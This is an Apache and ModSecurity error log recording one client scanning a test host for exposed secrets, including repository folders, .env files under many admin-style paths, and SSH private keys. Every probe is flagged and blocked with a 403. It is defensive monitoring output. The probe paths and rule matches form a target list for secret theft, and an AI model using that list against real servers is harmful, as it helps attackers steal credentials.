[Wed Feb 25 06:04:45.349085 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapwAAAAA&quot;]
[Wed Feb 25 06:04:45.349370 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapwAAAAA&quot;]
[Wed Feb 25 06:04:45.349554 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapwAAAAA&quot;]
[Wed Feb 25 06:04:45.410907 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYMwAAAAc&quot;]
[Wed Feb 25 06:04:45.411204 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYMwAAAAc&quot;]
[Wed Feb 25 06:04:45.411409 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYMwAAAAc&quot;]
[Wed Feb 25 06:04:45.449918 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYNAAAAAc&quot;]
[Wed Feb 25 06:04:45.450204 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYNAAAAAc&quot;]
[Wed Feb 25 06:04:45.450423 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYNAAAAAc&quot;]
[Wed Feb 25 06:04:45.452663 2026] [authz_core:error] [pid 2312879] [client 185.177.72.13:2054] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Wed Feb 25 06:04:45.486305 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiaqQAAAAA&quot;]
[Wed Feb 25 06:04:45.486621 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiaqQAAAAA&quot;]
[Wed Feb 25 06:04:45.486799 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiaqQAAAAA&quot;]
[Wed Feb 25 06:04:45.785457 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYOAAAAAc&quot;]
[Wed Feb 25 06:04:45.785731 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYOAAAAAc&quot;]
[Wed Feb 25 06:04:45.785921 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYOAAAAAc&quot;]
[Wed Feb 25 06:04:45.980050 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYOgAAAAc&quot;]
[Wed Feb 25 06:04:45.980337 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYOgAAAAc&quot;]
[Wed Feb 25 06:04:45.980533 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminer/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYOgAAAAc&quot;]
[Wed Feb 25 06:04:46.156947 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /agora/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPQAAAAc&quot;]
[Wed Feb 25 06:04:46.157212 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPQAAAAc&quot;]
[Wed Feb 25 06:04:46.157399 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/agora/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPQAAAAc&quot;]
[Wed Feb 25 06:04:46.198473 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /alpha/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPgAAAAc&quot;]
[Wed Feb 25 06:04:46.198773 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPgAAAAc&quot;]
[Wed Feb 25 06:04:46.198964 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPgAAAAc&quot;]
[Wed Feb 25 06:04:46.238185 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /anaconda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPwAAAAc&quot;]
[Wed Feb 25 06:04:46.238514 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPwAAAAc&quot;]
[Wed Feb 25 06:04:46.238728 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ6C7ov6AM5Bs3q_JQDYPwAAAAc&quot;]
[Wed Feb 25 06:04:46.378748 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PQAAAAM&quot;]
[Wed Feb 25 06:04:46.379008 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PQAAAAM&quot;]
[Wed Feb 25 06:04:46.379169 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PQAAAAM&quot;]
[Wed Feb 25 06:04:46.400839 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa.pub&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PgAAAAM&quot;]
[Wed Feb 25 06:04:46.401112 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ6C7rZegw_qLbSTRXm5PgAAAAM&quot;]
